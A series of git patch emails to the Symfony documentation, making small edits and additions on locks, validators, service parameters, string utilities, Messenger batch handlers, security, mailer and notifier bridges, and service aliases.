From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Thu, 16 Feb 2023 11:04:19 +0100
Subject: [PATCH 2927/5766] [Lock] update doc creation lock table

---
 components/lock.rst | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 85f528b140d..6676dbb342b 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -553,12 +553,21 @@ does not support blocking, and expects a TTL to avoid stalled locks::
 
     This store does not support TTL lower than 1 second.
 
-The table where values are stored is created automatically on the first call to
-the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
+The table where values are stored will be automatically generated when your run the command :
+
+.. code-block:: terminal
+
+    $ php bin/console make:migration
+
+If you prefer to create the table yourself and it has not already been created, you can
+create this table explicitly by calling the
+:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
 You can also add this table to your schema by calling
 :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::configureSchema` method
-in your code or create this table explicitly by calling the
-:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
+in your code
+
+If the table has not been created upstream, it will be created automatically on the first call to
+the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
 
 .. _lock-store-pgsql:
 

From 107be53ab986a5043a9ce8586b2227a150a9bafc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 16 Feb 2023 14:25:16 +0100
Subject: [PATCH 2928/5766] [Validator] Add a few missing option default values

---
 reference/constraints/UniqueEntity.rst                        | 4 ++--
 reference/constraints/_comparison-propertypath-option.rst.inc | 2 +-
 reference/constraints/_groups-option.rst.inc                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index fc6fccb18f6..59840bbfe9b 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -145,7 +145,7 @@ Options
 em
 ~~
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
 The name of the entity manager to use for making the query to determine
 the uniqueness. If it's left blank, the correct entity manager will be
@@ -155,7 +155,7 @@ not need to be used.
 ``entityClass``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
 By default, the query performed to ensure the uniqueness uses the repository of
 the current class instance. However, in some cases, such as when using Doctrine
diff --git a/reference/constraints/_comparison-propertypath-option.rst.inc b/reference/constraints/_comparison-propertypath-option.rst.inc
index 35f0da4d189..0965b3cd847 100644
--- a/reference/constraints/_comparison-propertypath-option.rst.inc
+++ b/reference/constraints/_comparison-propertypath-option.rst.inc
@@ -1,7 +1,7 @@
 ``propertyPath``
 ~~~~~~~~~~~~~~~~
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
 It defines the object property whose value is used to make the comparison.
 
diff --git a/reference/constraints/_groups-option.rst.inc b/reference/constraints/_groups-option.rst.inc
index 25ccf6e5d57..e69e96df72e 100644
--- a/reference/constraints/_groups-option.rst.inc
+++ b/reference/constraints/_groups-option.rst.inc
@@ -1,7 +1,7 @@
 ``groups``
 ~~~~~~~~~~
 
-**type**: ``array`` | ``string``
+**type**: ``array`` | ``string`` **default**: ``null``
 
 It defines the validation group or groups of this constraint. Read more
 about :doc:`validation groups </validation/groups>`.

From 701f74bb249287b6870b32501afbc2c7f4afaed2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 16 Feb 2023 14:36:57 +0100
Subject: [PATCH 2929/5766] [Configuration] Add enum case as service parameter
 example

---
 configuration.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index efc8d9e9ce9..c4f95198142 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -189,6 +189,9 @@ reusable configuration value. By convention, parameters are defined under the
             app.some_constant: !php/const GLOBAL_CONSTANT
             app.another_constant: !php/const App\Entity\BlogPost::MAX_ITEMS
 
+            # Enum case as parameter values
+            app.some_enum: !php/enum App\Enum\PostState::Published
+
         # ...
 
     .. code-block:: xml
@@ -226,6 +229,9 @@ reusable configuration value. By convention, parameters are defined under the
                 <!-- PHP constants as parameter values -->
                 <parameter key="app.some_constant" type="constant">GLOBAL_CONSTANT</parameter>
                 <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter>
+
+                <!-- Enum case as parameter values -->
+                <parameter key="app.some_enum" type="enum">App\Enum\PostState::Published</parameter>
             </parameters>
 
             <!-- ... -->
@@ -237,6 +243,7 @@ reusable configuration value. By convention, parameters are defined under the
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Entity\BlogPost;
+        use App\Enum\PostState;
 
         return static function (ContainerConfigurator $containerConfigurator) {
             $containerConfigurator->parameters()
@@ -256,6 +263,9 @@ reusable configuration value. By convention, parameters are defined under the
                 // PHP constants as parameter values
                 ->set('app.some_constant', GLOBAL_CONSTANT)
                 ->set('app.another_constant', BlogPost::MAX_ITEMS);
+
+                // Enum case as parameter values
+                ->set('app.some_enum', PostState::Published);
         };
 
         // ...
@@ -272,6 +282,10 @@ reusable configuration value. By convention, parameters are defined under the
             something@example.com
         </parameter>
 
+.. versionadded:: 6.2
+
+    Passing an enum case as a service parameter was introduced in Symfony 6.2.
+
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``
 (e.g. ``%app.admin_email%``):

From 369b563ceb0f148b3f8cc4830b90c708ac43c133 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 11 Feb 2023 15:48:40 +0100
Subject: [PATCH 2930/5766] Changing "white spaces" => "whitespace"

---
 components/string.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index e4c4d9f0c8b..de7f30f9e8f 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -177,8 +177,8 @@ There is also a method to get the bytes stored at some position::
     b('नमस्ते')->bytesAt(1);   // [164]
     u('नमस्ते')->bytesAt(1);   // [224, 164, 174]
 
-Methods Related to Length and White Spaces
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Methods Related to Length and Whitespace Characters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 ::
 
@@ -202,13 +202,13 @@ Methods Related to Length and White Spaces
     END";
     u($text)->width(); // 14
 
-    // only returns TRUE if the string is exactly an empty string (not even white spaces)
+    // only returns TRUE if the string is exactly an empty string (not even whitespace)
     u('hello world')->isEmpty();  // false
     u('     ')->isEmpty();        // false
     u('')->isEmpty();             // true
 
-    // removes all white spaces from the start and end of the string and replaces two
-    // or more consecutive white spaces inside contents by a single white space
+    // removes all whitespace from the start and end of the string and replaces two
+    // or more consecutive whitespace characters inside contents by a single white space
     u("  \n\n   hello        world \n    \n")->collapseWhitespace(); // 'hello world'
 
 Methods to Change Case
@@ -298,7 +298,7 @@ Methods to Pad and Trim
     // repeats the given string the number of times passed as argument
     u('_.')->repeat(10); // '_._._._._._._._._._.'
 
-    // removes the given characters (by default, white spaces) from the string
+    // removes the given characters (default: whitespace characters) from the beginning and end of a string
     u('   Lorem Ipsum   ')->trim(); // 'Lorem Ipsum'
     u('Lorem Ipsum   ')->trim('m'); // 'Lorem Ipsum   '
     u('Lorem Ipsum')->trim('m');    // 'Lorem Ipsu'

From 6cf5c14c7fa5d83581647b80cbebb8ee68f93b8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Feb 2023 10:03:04 +0100
Subject: [PATCH 2931/5766] Tweaks

---
 components/string.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index de7f30f9e8f..6e97667fab6 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -177,6 +177,8 @@ There is also a method to get the bytes stored at some position::
     b('नमस्ते')->bytesAt(1);   // [164]
     u('नमस्ते')->bytesAt(1);   // [224, 164, 174]
 
+.. _methods-related-to-length-and-white-spaces:
+
 Methods Related to Length and Whitespace Characters
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -207,9 +209,9 @@ Methods Related to Length and Whitespace Characters
     u('     ')->isEmpty();        // false
     u('')->isEmpty();             // true
 
-    // removes all whitespace from the start and end of the string and replaces two
-    // or more consecutive whitespace characters inside contents by a single white space
-    u("  \n\n   hello        world \n    \n")->collapseWhitespace(); // 'hello world'
+    // removes all whitespace (' \n\r\t\x0C') from the start and end of the string and
+    // replaces two or more consecutive whitespace characters with a single space (' ') character
+    u("  \n\n   hello \t   \n\r   world \n    \n")->collapseWhitespace(); // 'hello world'
 
 Methods to Change Case
 ~~~~~~~~~~~~~~~~~~~~~~

From 1be7e33ddd79797889758898a0fbbf25ac503673 Mon Sep 17 00:00:00 2001
From: Daniel <mail@danielkesselberg.de>
Date: Thu, 16 Feb 2023 11:24:08 +0100
Subject: [PATCH 2932/5766] docs(DomCrawler): remove hint about html5-php
 library

html5-php is mandatory after https://github.com/symfony/symfony/pull/44170
---
 components/dom_crawler.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 709f3d86981..18d6abbb551 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -70,13 +70,6 @@ tree.
     isn't meant to dump content, you can see the "fixed" version of your HTML
     by :ref:`dumping it <component-dom-crawler-dumping>`.
 
-.. note::
-
-    If you need better support for HTML5 contents or want to get rid of the
-    inconsistencies of PHP's DOM extension, install the `html5-php library`_.
-    The DomCrawler component will use it automatically when the content has
-    an HTML5 doctype.
-
 Node Filtering
 ~~~~~~~~~~~~~~
 
@@ -650,5 +643,3 @@ Learn more
 
 * :doc:`/testing`
 * :doc:`/components/css_selector`
-
-.. _`html5-php library`: https://github.com/Masterminds/html5-php

From b1c77c9514e7c6b629a11aec5a3abfa9945ea1b9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 17 Feb 2023 19:15:55 +0100
Subject: [PATCH 2933/5766] [Messenger] Add `BatchHandlerInterface` and
 `BatchHandlerTrait` mentions

---
 messenger.rst | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index a49de0d2276..49c4768ab0e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2201,6 +2201,71 @@ That's it! You can now consume each transport:
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
 
+Process Messages by Batches
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can declare "special" handlers which will process messages by batch.
+By doing so, the handler will wait for a certain amount of messages to be
+pending before processing them. The declaration of a batch handler is done
+by implementing
+:class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface`. The
+:class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` is also
+provided in order to ease the declaration of these special handlers::
+
+    use Symfony\Component\Messenger\Handler\Acknowledger;
+    use Symfony\Component\Messenger\Handler\BatchHandlerInterface;
+    use Symfony\Component\Messenger\Handler\BatchHandlerTrait;
+
+    class MyBatchHandler implements BatchHandlerInterface
+    {
+        use BatchHandlerTrait;
+
+        public function __invoke(MyMessage $message, Acknowledger $ack = null)
+        {
+            return $this->handle($message, $ack);
+        }
+
+        private function process(array $jobs): void
+        {
+            foreach ($jobs as [$message, $ack]) {
+                try {
+                    // Compute $result from $message...
+
+                    // Acknowledge the processing of the message
+                    $ack->ack($result);
+                } catch (\Throwable $e) {
+                    $ack->nack($e);
+                }
+            }
+        }
+
+        // Optionally, you can redefine the `shouldFlush()` method
+        // of the trait to define your own batch size
+        private function shouldFlush(): bool
+        {
+            return 100 <= \count($this->jobs);
+        }
+    }
+
+.. note::
+
+    When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is
+    expected to be handled synchronously. Otherwise, ``__invoke()`` is
+    expected to return the number of pending messages. The
+    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` handles
+    this for you.
+
+.. note::
+
+    By default, pending batches are flushed when the worker is idle as well
+    as when it is stopped.
+
+.. versionadded:: 5.4
+
+    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface` and
+    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` were
+    introduced in Symfony 5.4.
+
 Extending Messenger
 -------------------
 

From c589c4cd2d5f608108b9b48e98d48f803edbaa74 Mon Sep 17 00:00:00 2001
From: JoppeDC <joppe@yappa.be>
Date: Sat, 18 Feb 2023 15:52:45 +0100
Subject: [PATCH 2934/5766] Replace orm-pack with orm

---
 setup/flex.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 491d9ba7d0b..d5a9c113dc2 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -74,7 +74,7 @@ manual steps:
 
    .. code-block:: terminal
 
-       $ composer require annotations asset orm-pack twig \
+       $ composer require annotations asset orm twig \
          logger mailer form security translation validator
        $ composer require --dev dotenv maker-bundle orm-fixtures profiler
 

From a3bedbf0e130b92c52fdc6eccf3c5e7c21297751 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Feb 2023 17:41:45 +0100
Subject: [PATCH 2935/5766] Adding needsRehash()

Page: https://symfony.com/doc/5.4/security/passwords.html#custom-password-hasher

Adding this to comply with `PasswordHasherInterface`

* I didn't check if this is really required in v5.4 already (but for sure in 6.2)
---
 security/passwords.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security/passwords.rst b/security/passwords.rst
index 2a2f7acc336..cdb4d09102e 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -830,6 +830,12 @@ If you need to create your own, it needs to follow these rules:
 
             return $passwordIsValid;
         }
+
+        public function needsRehash(string $hashedPassword): bool
+        {
+            // Check if a password hash would benefit from rehashing
+            return $needsRehash;
+        }
     }
 
 Now, define a password hasher using the ``id`` setting:

From ce6f7db7a728d2042be6ffdffe542698b3404237 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 19 Feb 2023 14:53:49 +0100
Subject: [PATCH 2936/5766] [Security] Removing "Most applications will only
 need one firewall"

Follow-up of https://github.com/symfony/symfony-docs/pull/17864, so to say
---
 reference/configuration/security.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 70784bf4853..40e1c7ef456 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -827,8 +827,7 @@ The name of the ``$_SERVER`` parameter holding the user identifier.
 Firewall Context
 ~~~~~~~~~~~~~~~~
 
-Most applications will only need one :ref:`firewall <firewalls-authentication>`.
-But if your application *does* use multiple firewalls, you'll notice that
+If your application uses multiple :ref:`firewalls <firewalls-authentication>`, you'll notice that
 if you're authenticated in one firewall, you're not automatically authenticated
 in another. In other words, the systems don't share a common "context":
 each firewall acts like a separate security system.

From 468703fd887233fe78d931d81e0b607f52b5e78c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 19 Feb 2023 16:28:46 +0100
Subject: [PATCH 2937/5766] [String] Add `LazyString` documentation

---
 components/string.rst | 49 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 6e97667fab6..6e20dd3e911 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -481,6 +481,55 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
+Lazily-loaded Strings
+---------------------
+
+Additionally to other types of strings presented above, the
+:class:`Symfony\\Component\\String\\LazyString` allows to store
+a string whose value is only generated when you need it. This is
+useful when the string needs a heavy computation to determine its value,
+like a hash for example. A lazy string can be declared like this::
+
+    use Symfony\Component\String\LazyString;
+
+    $lazyString = LazyString::fromCallable(function () {
+        // Compute the string value...
+        $value = ...;
+
+        // Then return the final value
+        return $value;
+    });
+
+The callback will only be executed when the value of the lazy string is
+requested in the program execution.
+
+A lazy string can also be created from a ``Stringable`` object::
+
+    class Hash implements \Stringable
+    {
+        public function __toString(): string
+        {
+            return $this->computeHash();
+        }
+
+        private function computeHash(): string
+        {
+            // Compute hash value with potentially heavy processing
+            $hash = ...;
+
+            return $hash;
+        }
+    }
+
+    // Then create a lazy string from this hash, which will trigger
+    // hash computation only if it's needed
+    $lazyHash = LazyString::fromStringable(new Hash());
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\String\\LazyString` class was introduced
+    in Symfony 5.1.
+
 Slugger
 -------
 

From 5c323fb8f1fe75b50b95323b85f09b6b14d6628b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 19 Feb 2023 16:06:42 +0100
Subject: [PATCH 2938/5766] [PropertyAccess] Allow to escape dots and squared
 brackets in property paths

---
 components/property_access.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index fcd0551c257..8e2bded5188 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -81,6 +81,23 @@ You can also use multi dimensional arrays::
     var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter'
     var_dump($propertyAccessor->getValue($persons, '[1][first_name]')); // 'Ryan'
 
+.. tip::
+
+    If the key of the array contains a dot ``.`` or a left squared bracket ``[``,
+    it is possible to escape these characters with a backslash. In the above example,
+    if the array key ``first_name`` becomes ``first.name``, accessing the value can
+    be achieved like this::
+
+        var_dump($propertyAccessor->getValue($persons, '[0][first\.name]')); // 'Wouter'
+        var_dump($propertyAccessor->getValue($persons, '[1][first\.name]')); // 'Ryan'
+
+    Right squared brackets ``]`` don't need to be escaped.
+
+.. versionadded:: 6.3
+
+    Escaping dots and left squared bracket in a property path was
+    introduced in Symfony 6.3.
+
 Reading from Objects
 --------------------
 

From fcf3c27fb5af6ab99cb91cd67ef2b19fc3f590fb Mon Sep 17 00:00:00 2001
From: Ramunas Pabreza <doobas@gmail.com>
Date: Mon, 20 Feb 2023 09:09:28 +0200
Subject: [PATCH 2939/5766] [Mailer] Add MailerSend bridge

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 21b4d2ccb7d..14a3b877b20 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -111,8 +111,13 @@ SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 MailPace            ``composer require symfony/mail-pace-mailer``
 Infobip             ``composer require symfony/infobip-mailer``
+MailerSend          ``composer require symfony/mailersend-mailer``
 ==================  ==============================================
 
+.. versionadded:: 6.3
+
+    The MailerSend integration was introduced in Symfony 6.3.
+
 .. versionadded:: 6.2
 
     The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
@@ -177,6 +182,7 @@ Postmark             postmark+smtp://ID@default                           n/a
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 Infobip              infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
+MailerSend           mailersend+smtp://KEY@default                        n/a                                         mailersend+api://KEY@BASE_URL
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::

From 8134b20dee027b0de8c51c91b295308e7c239727 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Feb 2023 19:27:13 +0100
Subject: [PATCH 2940/5766] [Security] `its` => `their`

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index e3907a3317b..395ea9ef675 100644
--- a/security.rst
+++ b/security.rst
@@ -824,8 +824,8 @@ Finally, create or update the template:
 
 .. caution::
 
-    The ``error`` variable passed into the template is an instance of
-    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
+    The ``error`` variable passed into the template is an instance
+    of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
     It may contain sensitive information about the authentication failure.
     *Never* use ``error.message``: use the ``messageKey`` property instead,
     as shown in the example. This message is always safe to display.
@@ -1659,7 +1659,7 @@ You can log in a user programmatically using the `login()` method of the
             // you can also log in on a different firewall
             $security->login($user, 'form_login', 'other_firewall');
 
-            // ... redirect the user to its account page for instance
+            // ... redirect the user, e.g. to their account page
         }
     }
 

From fa48443abc133f3384600bbb9cc75d41f9b956f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Feb 2023 13:22:21 +0100
Subject: [PATCH 2941/5766] Tweaks

---
 components/property_access.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 8e2bded5188..033db78edb8 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -83,20 +83,20 @@ You can also use multi dimensional arrays::
 
 .. tip::
 
-    If the key of the array contains a dot ``.`` or a left squared bracket ``[``,
-    it is possible to escape these characters with a backslash. In the above example,
-    if the array key ``first_name`` becomes ``first.name``, accessing the value can
-    be achieved like this::
+    If the key of the array contains a dot ``.`` or a left square bracket ``[``,
+    you must escape those characters with a backslash. In the above example,
+    if the array key was ``first.name`` instead of ``first_name``, you should
+    access its value as follows::
 
         var_dump($propertyAccessor->getValue($persons, '[0][first\.name]')); // 'Wouter'
         var_dump($propertyAccessor->getValue($persons, '[1][first\.name]')); // 'Ryan'
 
-    Right squared brackets ``]`` don't need to be escaped.
+    Right square brackets ``]`` don't need to be escaped in array keys.
 
-.. versionadded:: 6.3
+    .. versionadded:: 6.3
 
-    Escaping dots and left squared bracket in a property path was
-    introduced in Symfony 6.3.
+        Escaping dots and left square brackets in a property path was
+        introduced in Symfony 6.3.
 
 Reading from Objects
 --------------------

From bf3998c84bd20b85983a54011e6393274eed1f17 Mon Sep 17 00:00:00 2001
From: Charly Goblet <charly.goblet@gmail.com>
Date: Mon, 20 Feb 2023 13:39:15 +0100
Subject: [PATCH 2942/5766] [Notifier] Add Pushover bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 976f5fb9e05..0e927df9d7e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -430,6 +430,7 @@ Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@de
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
+Pushover        ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
 ==============  ====================================  =================================================================================
 
 .. versionadded:: 6.1
@@ -438,7 +439,7 @@ PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDO
 
 .. versionadded:: 6.3
 
-    The PagerDuty integration was introduced in Symfony 6.3.
+    The PagerDuty and Pushover integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From f1299637f5da8444757d175f13894729ab741ec8 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 20 Feb 2023 14:58:16 +0100
Subject: [PATCH 2943/5766] Security: format `login()` properly

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 395ea9ef675..48f1915b70a 100644
--- a/security.rst
+++ b/security.rst
@@ -1631,7 +1631,7 @@ Login Programmatically
     The :method:`Symfony\\Bundle\\SecurityBundle\\Security::login`
     method was introduced in Symfony 6.2.
 
-You can log in a user programmatically using the `login()` method of the
+You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php

From d68d23d0de9b3d03d82fef621985be9ea07a115e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Feb 2023 15:34:30 +0100
Subject: [PATCH 2944/5766] Tweaks

---
 components/string.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 6e20dd3e911..57628644fdf 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -481,14 +481,15 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
-Lazily-loaded Strings
----------------------
+Lazy-loaded Strings
+-------------------
 
-Additionally to other types of strings presented above, the
-:class:`Symfony\\Component\\String\\LazyString` allows to store
-a string whose value is only generated when you need it. This is
-useful when the string needs a heavy computation to determine its value,
-like a hash for example. A lazy string can be declared like this::
+Sometimes, creating a string with the methods presented in the previous sections
+is not optimal. For example, consider a hash value that requires certain
+computation to obtain and which you might end up not using it.
+
+In those cases, it's better to use the :class:`Symfony\\Component\\String\\LazyString`
+class that allows to store a string whose value is only generated when you need it::
 
     use Symfony\Component\String\LazyString;
 
@@ -501,9 +502,8 @@ like a hash for example. A lazy string can be declared like this::
     });
 
 The callback will only be executed when the value of the lazy string is
-requested in the program execution.
-
-A lazy string can also be created from a ``Stringable`` object::
+requested during the program execution. You can also create lazy strings from a
+``Stringable`` object::
 
     class Hash implements \Stringable
     {

From 7fbb2829242e9b393f289d6261e3fa43fc2c5499 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Feb 2023 15:36:07 +0100
Subject: [PATCH 2945/5766] Remove the versionadded directive

---
 components/string.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 5f1de583630..2fdb608005c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -497,11 +497,6 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\String\\LazyString` class was introduced
-    in Symfony 5.1.
-
 Slugger
 -------
 

From f3c3168d260a9179b9c65f74dc39529b615ba6d2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 18 Feb 2023 19:19:22 +0100
Subject: [PATCH 2946/5766] [DependencyInjection] `AsAlias` attribute

---
 service_container/alias_private.rst | 37 +++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f0309f552d7..d6d22c26e92 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -95,6 +95,20 @@ services.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Mail/PhpMailer.php
+        namespace App\Mail;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+
+        #[AsAlias(id: 'app.mailer', public: true)]
+        class PhpMailer
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -139,6 +153,10 @@ services.
             $services->alias('app.mailer', PhpMailer::class);
         };
 
+.. versionadded:: 6.3
+
+    The ``#[AsAlias]`` attribute was introduced in Symfony 6.3.
+
 This means that when using the container directly, you can access the
 ``PhpMailer`` service by asking for the ``app.mailer`` service like this::
 
@@ -155,6 +173,25 @@ This means that when using the container directly, you can access the
             # ...
             app.mailer: '@App\Mail\PhpMailer'
 
+.. tip::
+
+    When using ``#[AsAlias]`` attribute, you may omit passing ``id`` argument
+    if the class implements exactly one interface. ``MailerInterface`` will be
+    alias of ``PhpMailer``::
+
+        // src/Mail/PhpMailer.php
+        namespace App\Mail;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+        use Symfony\Component\Mailer\MailerInterface;
+
+        #[AsAlias]
+        class PhpMailer implements MailerInterface
+        {
+            // ...
+        }
+
 Deprecating Service Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 537f91d443fd78cc73805f21988d4142b1f345a5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 21 Feb 2023 09:37:52 +0100
Subject: [PATCH 2947/5766] [Messenger] Remove versionadded about 5.4

---
 messenger.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ddfa4c478eb..7045ddf8a48 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2188,12 +2188,6 @@ provided in order to ease the declaration of these special handlers::
     By default, pending batches are flushed when the worker is idle as well
     as when it is stopped.
 
-.. versionadded:: 5.4
-
-    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface` and
-    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` were
-    introduced in Symfony 5.4.
-
 Extending Messenger
 -------------------
 

